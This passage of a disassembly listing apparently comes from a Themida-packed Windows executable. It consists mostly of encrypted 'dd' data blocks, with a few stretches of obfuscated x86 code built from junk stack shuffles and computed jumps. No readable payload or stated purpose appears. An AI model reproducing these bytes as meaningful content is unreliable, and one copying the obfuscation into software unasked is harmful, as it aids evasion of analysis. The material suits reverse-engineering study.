0FA9BBBE9h dd 0ED4868FFh, 0B1E907FFh, 68FFFA9Bh, 7FFEE21h, 0FA9BA7E9h dd 7B23F3FFh, 247A9845h, 0CAD441EEh, 7628E794h, 207E9340h dd 1A01B6EAh, 0C471A7F7h, 6B184E50h, 16C3F9A5h, 9C6BA1FDh dd 66C52844h, 85EB07E6h, 1092BCCEh, 0D0D4534Bh, 3ED58228h dd 9A7BD060h, 0AEB88A04h, 44DDF0FBh, 6DA60B9Eh, 0EF9AFB31h dd 2BC5E171h, 5707E102h, 0E04773FEh, 0EA07E100h, 70A8AF69h dd 0E406F09h, 30h, 0CA96F39Fh, 70A5FA3Ah, 0D47AA32Eh, 0E09B9260h dd 0A7379007h, 0BE637B7Dh, 7218E1C4h, 0DB4CB3DFh, 0D55607E0h dd 0E6DC141Bh, 0A37A406Eh, 0B000000h, 0A7326CA7h, 44CFCF42h dd 0DF6A34DFh, 0CF05997Ah, 0E687C55Bh, 0F8A66DFFh, 0A0FE15C2h dd 0D38DFC15h, 0CDD90343h, 7BDEFAADh, 0A9FFE6A7h, 751BD650h dd 0B755C96Fh, 0E307E18Eh, 96F3548Ah, 0DB1E3ACAh, 90FDE30h dd 46CB20B0h, 9C752258h, 41624402h, 84BF9998h, 0AD8E5h dd 6F2FE700h, 18868C39h, 0BEE035E2h, 6A34DB88h, 148A8734h dd 0EF5AADEh, 0B8659B03h, 5F0C425Ch, 0AB7EDB1h, 905F9509h dd 67B91C38h, 81E707E6h, 346AA7CAh, 0B5C251FEh, 0E6833699h dd 8EF10DFFh, 0B4FFE683h, 58C11A5Bh, 96F36B22h, 501E3ACAh dd 4E07E09Ch, 88FE45E4h, 0C756821h, 60EE5581h, 77F807E1h dd 6D7EB6BDh, 0DE1C406Fh, 0AD000000h, 0A7326CA7h, 8CA8CF42h dd 0FFE68329h, 0A95FE57h, 0F1AD65BAh, 23973D66h, 0FFE6888Dh dd 0A405EB5h, 58E8B65Dh, 0EC920C03h, 17494059h, 22F24787h dd 5CC8F17Ch, 0FFE686F9h, 288BA727h, 4EFFE687h, 4EE68CF5h dd 0E0A89432h, 0A3D93207h, 89194742h, 0DD86196Dh, 5CEC450Fh dd 186D0A07h, 0ED16A1FDh, 0ED7E1E81h, 82EB44FFh, 0F0729F4Ch dd 54127B23h, 99989344h, 0EEEB8AC5h, 0D1000009h, 76235945h dd 1FCC029Ch, 0C572A8F6h, 711E544Ah, 94C8FEA0h, 8519F8DFh dd 2C72A24Fh, 0D7C749F6h, 7F1FF4A1h, 6227A49h, 7E668A3h dd 0BCB46BD1h, 61F1AD67h, 0E682E245h, 11B710FFh, 0BBF1AD64h dd 999050Eh, 0B23D61B4h, 4DD8C64Dh, 0D715BB24h, 4229153Fh dd 2CE5E96Ch, 27A1E34Dh, 2ED45680h, 326CA777h, 0CDD142A7h dd 0D533697h, 0B6E7617Dh, 0A2FB07E0h, 0B685EB17h, 0C54D07E0h dd 29E94ED9h, 9DCEEA75h, 55D63BE3h, 0BE5C949Bh, 7CFA406Eh dd 8B000006h, 3ACA96F3h, 0E0A07C1Eh, 7A952A07h, 8967F24h dd 81E8149Fh, 8B07E09Fh, 1149500Ah, 0AF406EA7h, 657h, 0CA96F340h dd 8B001E3Ah, 459E07E0h, 22FE8BB5h, 0AC9B641h, 3EA5D164h dd 4807E0C3h, 0CE060DC7h, 6C406ECBh, 62Fh, 0BB657BFDh dd 0E60292CEh, 7E089E4h, 94E979D2h, 69921D81h, 9C1A7EC3h dd 3293F5B3h, 63C6E257h, 2D8BD5B2h, 0E479BAE4h, 0BEE7722Ch dd 405CEC55h, 93CFBB7Eh, 4E50C015h, 0ABF49AC3h, 0DBAEC752h dd 54D9F585h, 8293F5E5h, 107925EDh, 0B6E82B80h, 5E40D380h dd 717502A0h, 2DCC0712h, 8ADh, 649A0412h, 0D435BB7h, 0B3E9B560h dd 5F950906h, 93F5FB2h, 0DA3720D5h, 33E18EC4h, 8888356Bh dd 0E033E016h, 61B988BEh, 0E668E245h, 0F3AA1007h, 0A7326CA7h dd 0D565FB8Eh, 0D6395595h, 0FCFFE683h, 1289FDA3h, 0C007E666h dd 65C12440h, 96EF07E6h, 4C83F72Dh, 0F207E665h, 910D0663h dd 0EC80D701h, 0B5C361C3h, 1D70D10Fh, 6989B343h, 8920ACC2h dd 0B062FA74h, 4947F5A5h, 76CB0BA3h, 0E85C029Ch, 7E6418Dh dd 75CA5AB3h, 4A73FEA0h, 67AC11A4h, 368D0137h, 1507E641h dd 4156B9D5h, 237C07E6h, 3740D07Dh, 36F2FE2h, 7E641A0h dd 0CE046DC6h, 86CB0C36h, 9F874B0Eh, 0D7C74CF9h, 811DF247h dd 9427CDF6h, 0E6700168h, 0F1ABEC07h, 6298060Dh, 0B5405EB5h dd 0E6A02289h, 0DC96BFF7h, 4D831BF8h, 11566h, 6CA7FF00h dd 46700321h, 73DC6D88h, 118D83E8h, 31E13686h, 13B9E26Dh dd 0E7663C9Fh, 910D06FFh, 0C49CED06h, 49A11834h, 0D62F07E7h dd 61699418h, 9B3A759Eh, 791h, 80B6E82Eh, 295F3FD3h, 0CF05997Ch dd 7BB1ED22h, 255B43CEh, 0BE533CF1h, 17FDAAE0h, 6CA45187h dd 0C44FFC32h, 7DD5A4DAh, 0E669FE61h, 7BE2407h, 0EF0B6CA7h dd 0FFE6838Ch, 3B9250BAh, 86D532D5h, 0C429B41Dh, 6CC1514Dh dd 1553F9A5h, 8BEC287Dh, 0E6CE0C6Fh, 78E13AFFh, 0B3EB25D2h dd 5B43D07Dh, 5997825h, 0A2FC157Ah, 10CAFB17h, 83B9E52Ch dd 74DA7BB3h, 71938h, 6DAA0000h, 0C5h, 326CA706h, 0FB1757A7h dd 0FFE68398h, 4BBF65BEh, 0FFE692E4h, 0B23D61AEh, 4FDAC44Dh dd 9380E3FFh, 4DA6FFE6h, 30D892BBh, 0AC7B355Eh, 3CE2BC57h dd 32DE848Fh, 4FB8E16Ch, 0FAA46C19h, 0A2FC156Ah, 0B548EE17h dd 0E6932389h, 0AAEA32FFh, 0E6932B8Eh, 5A0059FFh, 0D53B1FD9h dd 0B11A848Dh, 69A7C47Bh, 305AAA35h, 7C1FB9DCh, 7D2AD006h dd 3B7B0B93h, 0E6FFBC1Fh, 0EB91EAFFh, 0B4F43C58h, 0E6FF3598h dd 5C025BFFh, 0D33D21DBh, 572195CBh, 23FFE708h, 0BCD13E93h dd 539DCB5Ah, 0B33EA736h, 7BDEFA8Ah, 0A9FFE72Fh, 9FDAAA50h dd 3F387537h, 0FFFFFE9Ah, 0A967BCD0h, 4274FFE4h, 4DB6D062h dd 0CF399C2h, 36Fh, 326CA7A5h, 83247BA7h, 0B8E1FFE6h, 69F91AFEh dd 0FE8EF7A7h, 6AC027D4h, 0E827090Fh, 99022BB6h, 0B08B5F3h dd 78B80893h, 4F3A0C4Eh, 309C6048h, 0FFE759CDh, 80F49AF3h dd 0FFE75929h, 0BD90BEE8h, 5208FED3h, 8A14FFACh, 0BDA3E6FFh dd 0E59A112Dh, 0CFF907E6h, 7D96597Eh, 70E5A721h, 4B46BF39h dd 0ABC95789h, 0A563BC05h, 9E61572Bh, 0DA1EBDF8h, 0E5000005h dd 8A376D31h, 33E01688h, 0D986BCE2h, 85326836h, 0A8DC128Ch dd 99050CF3h, 405EB663h, 0EBB35D0Ah, 930B08B5h, 1A368E5Dh dd 7E66CB7h, 0A7C077DDh, 591EF66Ch, 0E683DA3Dh, 46AF08FFh dd 83379AB6h, 45DFFE6h, 66AB109Bh, 8392F511h, 67C0FFE6h dd 0F81BC8FEh, 90F9A56Ah, 3A64AD5Ah, 0D7C74AAFh, 0BEE8304Ch dd 5C78EA4Bh, 0FFE6E2F9h, 0B154CE27h, 0DE5F05F2h, 0CDD14024h dd 0F48FC797h, 782D3874h, 0BE000002h, 3BC69AF3h, 0D582960Fh dd 5B43CCFEh, 0B8AA6BD0h, 8FB8435Bh, 20499B26h, 0C159BE66h dd 0E8C5A597h, 32D80A84h, 0B8F0F7B1h, 5637630Bh, 247h dd 8A9AF3E7h, 20B01985h, 0CD5846CBh, 8C12FFA4h, 9A32D801h dd 0E6831B7Eh, 65F049FFh, 0D582C039h, 0C78102FEh, 399CB8F8h dd 67FED581h, 0F8A6690Eh, 0CE9E446Dh, 37638996h, 20A34h dd 9AF3C500h, 8D18868Ah, 4DB6E828h dd 0F81454E4h, 0FFE68395h, 0C2CE7F82h, 8DCE1F7Ah, 0F6811DF8h dd 51BF64CDh, 0F399C24Dh, 18E03F5Bh, 0A5FEFFE7h, 1775EE1Ah dd 24EBFED6h, 878AEF7Ah, 113A8C17h, 0B24AAF57h, 5FEAB45Dh dd 550F9036h, 0E8DD5C86h, 6801EF5h, 18BE9B6Ah, 629C1048h dd 1A9AE37h, 0F33F0000h, 0F636C69Ah, 0E68377DAh, 9F449DFFh dd 0EB832975h, 0E68374CFh, 0AE3992FFh, 0D5820982h, 7C36B7FEh dd 0EE516DADh, 14FED580h, 7F0A947Fh, 7747ED56h, 3763893Fh dd 16EDDh, 6CA76E00h, 0F6811DF6h, 89D964CDh, 34BFDF34h dd 5BB8650Bh, 0DDAC0D43h, 4EC9F383h, 9BC391CEh, 0A3596006h dd 3CA5B351h, 48E2FE96h, 5E07E0D7h, 0E74E7A05h, 0F107E085h dd 0A5332F59h, 994B576h, 5928E263h, 5ABDD919h, 8807E08Eh dd 8E60C32Fh, 2D8607E0h, 967FB787h, 441D406Eh, 0AE000000h dd 3ACA96F3h, 9B3AD0FAh, 91334E7Dh, 0AF29E8D5h, 3FE5F491h dd 0E106FDCBh, 8B85DA07h, 8F246D13h, 29B41D81h, 4C7FAFD9h dd 0AA247A97h, 52F82FA4h, 0E12977DEh, 46008107h, 6F35073Fh dd 9BA540h, 0BC360000h, 1B8C527Ch, 159ADCFh, 0E7533295h dd 610760FFh, 0B43F5FB4h, 51DCC24Fh, 0EC7727ECh, 0DC128C87h dd 0E757D268h, 0B95CB1FFh, 81923FE5h, 386E71Dh, 0DBB1CD5Dh dd 707E436h, 92FBA372h, 3A64AD02h, 0E4BA5704h, 62635E26h dd 95346F9Eh, 359h, 0B8EEB066h, 6197070Bh, 73D61B4h, 0B3E9B55Ah dd 5D930B06h, 868B7429h, 0DF35E218h, 34DC89BFh, 8C87346Ah dd 0B50DDC12h, 0E66E3699h, 3FF65C07h, 1AF86AA7h, 38E51B84h dd 1D809CDBh, 43FFE683h, 0D4CA45EAh, 81B72049h, 326CA7CAh dd 120257A7h, 0DA39E68Ch, 0A1F68EC4h, 10842A74h, 0FFE683AAh dd 797C9C0h, 19D72C7h, 33A74D76h, 7E08C49h, 8816F94Eh dd 0E52ED4FDh, 0A79F568Ch, 62A2326Ch, 0E682E346h, 12B811FFh dd 3BDA2F7Fh, 310BD63h, 8504659Bh, 833598B4h, 0DB5BFFE6h dd 0E6835CBFh, 0C8318AFFh, 738FCF5Fh, 0FFE68310h, 9F37DD36h dd 0E0ADE983h, 19A4FD07h, 0E0AD86EDh, 550F9007h, 6EB5164Eh dd 36B440h, 0F3450000h, 0E53ACA96h, 7D85D30h, 0F3179F1Bh dd 304CE48Ah, 7E12A62h, 709C2780h, 7E11909h, 0D1D89213h dd 406F2599h, 0C1244080h, 0EF07E10Dh, 0C30FF096h, 0A0000000h dd 0A2326CA7h, 0A2703862h, 78D124B3h, 0E6CAA90Ch, 0D87ED7FFh dd 6D31E045h, 8967DE2h, 3DD82D7Dh, 50EBB61h, 59EF6399h dd 36FFE6CFh, 0DF3230E1h, 0A20B34BFh, 9B48EE17h, 43F02678h dd 0F1CBDD0h, 46D3F25Fh, 0AD0252DDh, 82AB3668h, 2B0E7BDCh dd 0E6CDAC0Fh, 1881DAFFh, 0E2866C88h, 3B6507E0h, 27B71E74h dd 8CD57B29h, 0ED9CFD33h, 0EBC7E373h, 130FDE04h, 3CD52ABAh dd 927F2C62h, 15AC4E0Ch, 528D9998h, 1D0B3h, 7727EF00h dd 207E9441h, 0C6D83DEAh, 722CE390h, 1C828F3Ch, 16FDB2E6h dd 0C06DA3FBh, 67144A54h, 12BFF5A9h, 98679D01h, 70C12440h dd 89EF07E6h, 346AA7D2h, 0DCC251FEh, 96F3EFA6h, 501E3ACAh dd 4E07E09Ch, 0C51A6AF5h, 9FC8534Bh, 9B1E85F9h, 0A72807E0h dd 0A7AEE6EDh, 0C84C406Eh, 0DD000000h, 0A2326CA7h, 36DCC24Dh dd 0CBD33EA3h, 779BF040h, 0CD739C27h, 0E687C359h, 0F6A86BFFh dd 9E0013C0h, 4658B90Eh, 59EC92BBh, 87174940h, 3B9FF85Dh dd 0B1577503h, 8417FD19h, 0EA4307E1h, 627F305Ah, 49E81CC2h dd 0E0E1CA2Dh, 369FF807h, 98F15290h, 0E11C38C8h, 0FF0FDDC0h dd 5AB7AB6Ah, 2790B944h, 38D92EBEh, 2BB6E82Ah, 0B6639902h dd 0E985435Bh, 0BA9998E9h, 0F7E07Fh, 4EC80000h, 0A56D1A50h dd 0FF16C3F9h, 53BC699Fh, 0A968154Bh, 0D68BBFF5h, 447A24EDh dd 0EB217D97h, 96CCD23Eh, 3E742AE9h, 98FB176Fh, 0BE07E671h dd 6AA7A158h, 4864A434h, 0FFE682E5h, 0CE0CB20Bh, 76ACF221h dd 138B89DEh, 6CF7A76Eh, 0A7E69D43h, 42A7326Ch, 1970BCD1h dd 6AFD16B3h, 1F6ACB01h, 0C94A8630h, 0FC18F6EBh, 0FFE6F099h dd 9C056EC7h, 0D375F00Ch, 0F24B07E6h, 0BBD71767h, 7E61258h dd 18A3FB1Ah, 0AF55AEEFh, 578D1102h, 0F20E69AAh, 7E6128Fh dd 2C00E97Ch, 0FC3D67E9h, 0CBA98892h, 359EE24Ah, 0B1F141CCh dd 0E5DB3295h, 61076007h, 0E8A147EDh, 28E21B81h, 99CFCF44h dd 0EC7727ECh, 8B168887h, 29B4EA26h, 0C5504EC4h, 0A8500A33h dd 0FF3ADD6h, 0B7649A04h, 5DB2425Ch, 365FEAB4h, 911C8291h dd 0DF2FC268h, 2020839Fh, 0ED467DE4h, 36047h, 0BBF90000h dd 2F6FA75Ch, 0CAD43FA4h, 6836DA3Fh, 29C78DDh, 9FFF1277h dd 3C62AF14h, 0DBC34CB1h, 742AEB50h, 108E84E9h db 85h, 52h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push esi mov esi, 4 sub ebp, esi pop esi xchg ebp, [esp] pop esp push 322Bh mov [esp], esi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push edx push ebx mov ebx, 41B66142h sub ebx, 7BFA5A11h not ebx inc ebx inc ebx sub ebx, 32441584h mov edx, ebx pop ebx mov esi, edx pop edx push esp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], esi pop dword ptr [ebp+8] push dword ptr [esp] pop ebp add esp, 4 push dword ptr [esp] pop esi add esp, 4 jmp loc_58B334 ; --------------------------------------------------------------------------- db 0D9h ; --------------------------------------------------------------------------- push edx add cl, [eax+edi*4+7FFEF3Dh] add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 5A2E18A0h, 1714766Fh, 71D9CFE9h, 5BCA95C1h, 0D3EE73Bh dd 1C69969Ch, 4160F67Bh, 31BAFB31h, 6CBE426Eh, 54E564A7h dd 798AFE30h, 23531CD5h, 5DAB3CA4h, 708A9B3Eh, 10DB1D2Eh dd 7347D7Eh, 54FD1BE8h, 79D2AA5Bh, 48E9h, 3E301F00h, 2Eh dd 0C51C5700h, 6148434Ah, 0A5ADF936h, 528C88A7h, 0B7FB75h dd 0ADF99CBEh, 89937EE5h, 0F4C7009Dh, 6063921Dh, 0DE19h dd 6 dup(0) dd 0B0CE900h, 0AE680000h, 0E907FFF1h, 0FFFA8E88h, 0FFF2BA68h dd 8E7EE907h, 0A968FFFAh, 0E907FFF3h, 0FFFA8E74h, 0FFF46368h dd 8E6AE907h, 3568FFFAh, 0E907FFF5h, 0FFFA8E60h, 0FFF61E68h dd 8E56E907h, 0B468FFFAh, 0E907FFF6h, 0FFFA8E4Ch, 0FFF8B568h dd 8E42E907h, 0C468FFFAh, 0E907FFF9h, 0FFFA8E38h, 0B4EAB462h dd 5D930B07h, 33965B0h, 0AFE5B956h, 598F0F02h, 8A877025h dd 0E331DE14h, 38D885BBh, 90833066h, 0B109D80Eh, 0E6733295h dd 43FA6007h, 3ACA96F3h, 0E673F01Eh, 0BB59EE07h, 0CA336BA7h dd 6539DA3Fh, 0AE0393FCh, 7FA93965h, 97B3A486h, 7E59D34h dd 2A8F0962h, 9AD87E45h, 16BED802h, 0FC99A801h, 92ED506Ch dd 0BA1307E5h, 0F2AC6714h, 0BBD71767h, 7E59358h, 7995257Eh dd 7E59316h, 0DC3DE33Ch, 0E323B3ADh, 8E19858Eh, 4BBF65h dd 0D70FE583h, 1B376D97h, 0EAEB967Ah, 0E6E51B7Eh, 4AF049FFh dd 0C318A801h, 6B184E50h, 526BF6A8h, 83E60237h, 0B1FFE6E5h dd 0E5B21531h, 87E0FFE6h, 0F728E1Eh, 35FFE6E5h, 0A3E373DCh dd 5D041A79h, 50F5B0A1h, 2851DCC2h, 0D3AC0E82h, 368B07E0h dd 113AC5D9h, 0BC9226Bh, 9E64514Eh, 0F147E621h, 55000008h dd 0FAA7DDC1h, 0A3508618h, 49F62C72h, 0F5A2D8C6h, 184C821Ch dd 9957C63h, 0B0EE26D3h, 5B43CD7Ah, 39B7825h, 8AA6FECDh dd 7E67427h, 0A730E74Dh, 42A7326Ch, 3697CDD1h, 3D7D0D53h dd 0A1C85E13h, 8F3438E0h, 3771D81h, 7E15D69h, 3F94247Dh dd 9023C9D5h, 0E107FD64h, 0CC860707h, 6F108DC5h, 2C2B40h dd 0F3BC0000h, 0E53ACA96h, 35CD732Bh, 0E09C4B19h, 73FE5707h dd 0E09AE047h, 0AF69EA07h, 6EA770A8h, 0BF0E40h, 69BE0000h dd 3F68F3ABh, 6CA7E299h, 0CF42A732h, 34DF44CFh, 997ADF6Ah dd 0F3207505h, 0A2EE5F9Ah, 359EBB4Ah, 73DD518Fh, 0BFFE6B8h dd 0B3609608h, 63B33E60h, 1209CF39h, 0E0FC5BCFh, 0FFE7557Dh dd 3BE14AA3h, 21B1AFDAh, 0E1766705h, 84BA1307h, 257997ECh dd 0E46B1E7Fh, 908E464Bh, 0EB7BE4AEh, 0DD8A8CCFh, 0D161BA0Fh dd 43CD957Ch, 43ACF21Fh, 0F0268FB8h, 12D0CE43h, 9998983Dh dd 0E544E31Eh, 61000007h, 6B3E9B5h, 0AF5C920Ch, 55023866h dd 1AEE4BAh, 24588E10h, 1589886Fh, 0BCE232DFh, 6737D986h dd 0F8F8431h, 96B20AD9h, 7E67533h, 0A744FB61h, 51FE346Ah dd 0EA6DCC2h, 9F4559B9h, 0A967BCE8h, 9B416AF5h, 81114F3Ah dd 0E09B9765h, 0F11F7407h, 53F922ADh, 0FA26B10Ah, 7E09B93h dd 0A9C5059Dh, 7E09B46h, 0EC6D136Ch, 0A6F32B32h, 0CF91406Eh dd 22000000h, 0A2326CA7h, 4DD8C64Dh, 86EB7E24h, 5C88138Bh dd 0FFE686F2h, 0D9C54CA1h, 118D8633h, 25EE43DBh, 0ED26D379h dd 81D626B1h, 8690F8Fh, 334FDF81h, 7E0A795h, 16888DE2h dd 73BC628Bh, 683E41Ah, 608ACA5Ah, 79BD7E7Ah, 67E0BC79h dd 0B40FBA34h, 0F549BD63h, 210FDD8Bh, 0AC15898Ch, 544AC71Ch dd 0F9A56FC4h, 55E0BE54h, 9B48862Ch, 0C36A2876h, 6C9998AAh dd 6F69231h, 0C6500000h, 1DF5A2D8h, 779E4B81h, 0CB44F127h dd 21F09DD3h, 5E13477Dh, 0CC029C75h, 73A9F51Fh, 1E544AC6h dd 0C6FCA271h, 20839FF7h, 4607E676h, 92BC29E0h, 0DD3E25FBh dd 0A1B720AEh, 9EB04AFAh, 2FE28F35h, 0A9C92C48h, 62F7FFE6h dd 1C85EEB0h, 0C4DA39E6h, 6CA7D78Eh, 0D142A732h, 0A8FD3DCDh dd 81AA3569h, 0E683B215h, 0F787E0FFh, 0E68378DBh, 9F459EFFh dd 8386ED61h, 0ED9CFFE6h, 37C2DC37h, 0FF627E0Eh, 25FFE682h dd 0B7D363CCh, 7E6737Fh, 297E0E67h, 0C82DB8E6h, 47ED5648h dd 0E5B95AAFh, 8D1102AFh, 0C0A0E902h, 0A01A1430h, 6FC80FE0h dd 9B8382B1h, 0CF6EA999h, 63Ch, 5C920C0Ah, 53B63AFh, 0ABE1BD58h dd 578D11FEh, 13767AAh, 0E22F18CDh, 3BD986BCh, 90802D63h dd 0E82BD80Eh, 59B180B6h, 0E677DA3Dh, 0EBA20807h, 0A7326CA7h dd 3DCDD142h, 1ACDD713h, 0BA606B0Ch, 20DA0B27h, 37C7D73Ch dd 6478DBF7h, 459EFFE7h, 5991619Fh, 40387570h, 0D17727EBh dd 7F0h, 8A6D8100h, 6000001h, 0E68379E0h, 110358FFh, 749D028Dh dd 0BA1BC12Ah, 0C10191CFh, 0E68342A5h, 711770FFh, 737ABDD9h dd 0EF1907E6h, 22748C31h, 87D07659h, 345E9E2Eh, 0ED23800Bh dd 0FA3837B1h, 0DA39E68Ch, 37D98988h, 4A73FE67h, 0E913ABE1h dd 4651170Eh, 47F49A73h, 2E47D2CCh, 5975055Bh, 0FE0985Fh dd 0F96C2A83h, 5A999B9Ah, 56A801Fh, 3ADC0000h, 91812E64h dd 0EB2AD70Dh, 3FD07DB3h, 957C295Fh, 0EA9FD309h, 588E1001h dd 0FF3569ABh, 0AAE0BE52h, 528816FDh, 0AC0F2B83h, 0DA07E678h dd 6CA7BD74h, 0D142A732h, 0DE2642CDh, 0D4F08789h, 0FFE68371h dd 52DD469Fh, 128C8429h, 37B85E87h, 247A997Dh, 8EE61EEEh dd 0E843874h, 15000000h, 0BC6Dh, 44D02500h, 0A6CF5Ah, 0CA96F349h dd 7BDEFA3Ah, 0A9FFE683h, 0F612AA50h, 7E673C8h, 8D301D47h dd 16D4E973h, 0E5CE97FAh, 0FB64BD07h, 23B30C55h, 0F71D45CEh dd 5B083EA7h, 156E6B8h, 0D9028D11h, 287A033h, 67B2CE5Eh dd 2E0FE5BEh, 0BD633BD9h, 368B1B74h, 0F38BC1DDh, 0E804739Eh dd 0FFE73E85h, 43E952ABh, 91217D96h, 24CAD43Ch, 4F117891h dd 6741A3BFh, 0D06507E1h, 36F45D41h, 9E64CD29h, 8140DF1Ah dd 0C5000004h, 6A174D51h, 13C0F6A8h, 0B9669C02h, 65124856h dd 88BCF2ACh, 7925ECD3h, 207E9643h, 0CBD33DEAh, 732BE895h dd 0FA166E3Dh, 7E67997h, 6DA057BDh, 109h, 0CA96F306h, 73F01E3Ah dd 95EE07E6h, 3D61B005h, 31E489B2h, 0DA2FC76Dh, 822F6539h dd 67CAE691h, 8D07E673h, 2740CB34h, 196EFE62h, 0F019A4FAh dd 4B96B24Ah, 590FE663h, 0E9524CC4h, 8F0F0459h, 3668AAFFh dd 6EA55290h, 0FD8CA530h, 55B7D363h, 8107E0ACh, 76EB6A28h dd 9449E64h, 3EB6Ah, 0E3BB5B00h db 0ADh, 0 word_5E2AFA dw 8C12h ; DATA XREF: Themida_:005A67A6o dd 326CA956h, 0DEC04FFCh, 8816FBA8h, 82691E52h, 2CD90F8Fh dd 0D380B6E8h, 7E2B613Dh, 4D30995h, 792D90ACh, 0ED5307E6h dd 326CA736h, 0CDD142A7h, 3BF52642h, 0ACE2BC57h, 748FA4DCh dd 5F4238h, 0F3D30000h, 1B838E96h, 830C6F8Bh, 0E13AFFE6h dd 0CBCCE878h, 0F907E0D2h, 5ABB10A0h, 0D29E011Dh, 6BC407E0h dd 0D44E7702h, 0F8816E3Eh, 0EA64C64h, 0B2425CB9h, 5BE6B85Dh dd 0B64E8C32h, 0B02D6D8Ch, 8D3338DFh, 0E132B319h, 6987B07h dd 0ACF223D0h, 5DC0DC1Ch, 8307E132h, 52F1842Ah, 344h, 607CBCEBh dd 0FFE682FDh, 7724CA23h, 5FC2DE99h, 85FFE683h, 0D338C32Ch dd 79CE5E40h, 1E5C029Ch, 71FCA271h, 6197070Ch, 47D78900h dd 0CD9E8A1Dh, 29CFD67Bh, 15FC5191h, 0CEE34662h, 0B811FFE6h dd 9B35A94Fh, 4707E0FAh, 0D03763EEh, 0DA07E0E9h, 7BD09F59h dd 537C0797h, 0F1A5DDADh, 3B43406Eh, 0F3000000h, 0E13497B3h dd 96207E0h, 96F3AC63h, 501E3ACAh, 4E07E09Ch, 0D73E6AF5h dd 0A107E09Bh, 3CA12C72h, 213DC8D6h, 298E36F0h, 0AFE7EEA8h dd 96406EA7h, 26CCD241h, 11A45h, 6CA7D600h, 0CF42A732h dd 34DF44CFh, 99486C59h, 0E7411A7Dh, 75EF48FFh, 0B6D26FA5h dd 0FFE76953h, 56BF2881h, 0FAA471C6h, 0B75CC154h, 0AB3668ABh dd 5F891982h, 403159EEh, 0B0EE946Fh, 0E76CD23Ch, 3767ACFFh dd 0DFBF5401h, 5BDA0454h, 0C8339EE0h, 4BD6C84Bh, 0B213B922h dd 0D9C54DD7h, 0BA07775Fh, 0D13AD5E6h, 7727EC41h, 851DC3ECh dd 0E0E48369h, 0C656AF07h, 0BCE23186h, 0E0DBED50h, 40BA1307h dd 5EFA11B7h, 0CE0CB20Eh, 0B4441C6Dh, 0DDE9BC98h, 3A80EA0Fh dd 669E7DDDh, 0A4F989F2h, 63FB316Dh, 5945CE23h, 0ED608AEDh dd 0EF23B8FFh, 0F3A046AFh, 49C2801Eh, 92999883h, 1EAB857h dd 0BA5C0000h, 1101AEE4h, 6BAA578Dh, 0BF50FD33h, 15FCA9DFh dd 6A1F5389h, 0D80E9081h, 7FB5E92Bh, 2A603ED2h, 0D208967Dh dd 2C8FAB03h, 5A07E67Bh, 7CBC3DF4h, 0E682FD60h, 50CA23FFh dd 6B471504h, 6C19BF7Ah, 1469F9A5h, 89259FFFh, 3D93CC91h dd 6B0341E7h, 19A4FA16h, 769D4AF0h, 0F33BF228h, 2487A396h dd 52FFE683h, 0BC7279E8h, 59C2F56Eh, 42060F0h, 0FFE6EEA1h dd 3ED176CFh, 622BA60h, 7E10738h, 56820D66h, 7E0F5EFh dd 0EFBE78F9h, 99247A9Ah, 0C2FACA70h, 60406F02h, 0C2h dd 326CA7F1h, 0DCC24DA2h, 0D33EA336h, 2EE63BCBh, 0B37CA70h dd 0FFE687A1h, 366C32E1h, 89148A89h, 0B7471970h, 65B0B262h dd 1C85AE39h, 0DCC2DE76h, 0A07E09Bh, 6F1A7BB1h, 994BAECAh dd 207907E0h, 41D227B7h, 0A46DD25Dh, 53EB91FAh, 0DD78FC37h dd 191EA0Fh, 0FAA46CC1h, 930B0A6Fh, 3AD7842Ah, 90812E64h dd 9735500Eh, 0DB169998h, 0DB3Ch, 0F3AB6B00h, 9C0210BDh dd 425CB966h, 0EEB05F0Ch, 98060BB8h, 92792E62h, 3CE91F7Fh dd 0E390C6D8h, 8E3B712Dh, 14E31985h, 7C3DA0BCh, 0FD6307E6h dd 0A967BC46h, 9B416AF5h, 457B23EEh, 0ED237B98h, 0DE032B55h dd 19A4FA1Bh, 0F99E76F0h, 0DA435BB6h, 6CA77D34h, 7B78A232h dd 43FBBE64h, 0B116A94Fh, 0A5063C62h, 0CDD140E4h, 73D6F242h dd 0A1FFE73Dh, 0E676DF48h, 0E72D77CAh, 0B9449D07h, 4FDFBF54h dd 890AE50Fh, 2A46D64Dh, 0E6405BBEh, 8A308907h, 2A749F4Ch dd 2B254F9Fh, 0CDD14325h, 55630153h, 973D61B0h, 0A8285D23h dd 3EF83131h, 6CA9B95Ah, 157EA732h, 0BDE132DFh, 5C42CD32h dd 0F7A76CD1h, 900E076Ch, 0B973AC05h, 5C163F11h, 0CD039B78h dd 20ABF320h, 381h, 5CBB1A00h, 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh dd 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch, 0E9742AEBh dd 85108E84h, 5D545552h, 4C581h, 0ED830000h, 242C8704h dd 47E3685Ch, 0C890000h, 57E96824h, 1C890000h, 9BE5624h dd 50670170h, 1B04C4B8h, 18D92D60h, 1B2D760Fh, 2540D507h dd 401675E2h, 0F707E0C1h, 9A0535D0h, 0C629AF01h, 28CE8158h dd 0C103112Fh, 0E68104E6h, 51EE441Ch, 0B0ABC681h, 0F189F6B9h dd 1C8B545Eh, 4C48124h, 81000000h, 4ECh, 240C8900h, 2B243481h dd 8F2C992Fh, 73810843h, 992F2B08h, 2434FF2Ch, 4C4815Bh dd 8B000000h, 8956240Ch, 4C681E6h, 83000000h, 348704C6h dd 89E95C24h, 0C2FFFA83h, 0C4B8D975h, 307FFFAh, 0CEE0FFC5h dd 0B6154846h, 5251DA55h, 0E92E50C9h, 8E0E0106h, 0DA3BB6DAh dd 0BC6621F9h, 7C71E03Bh, 164B5291h, 64B2A3Bh, 963859BDh dd 6E5AF01Dh, 7E4BE355h, 281E05BDh, 916968DBh, 0BA5F4320h dd 614C07F6h, 49621D46h, 0E86CC9F5h, 0Bh, 0B69C08CFh, 28D4D420h dd 0F3F7317h, 382h, 0D6B70F00h, 0C681FC5Eh, 6100h, 0D5709FB9h dd 84D8BB2Fh, 0C3814F84h, 0B07B933Ah, 5F22B656h, 87BA068Bh dd 8106CE97h, 1BB5FC0h, 817BB53Bh, 3C9761C0h, 0F4C08163h dd 660C9448h, 689CF8Bh, 81F88B66h, 2CCA2EEEh, 800F607Bh dd 5, 9E5EDABAh, 61C78B21h, 0CA2AC681h, 81667B2Ch, 81ED6AF1h dd 1EBh, 11850F00h, 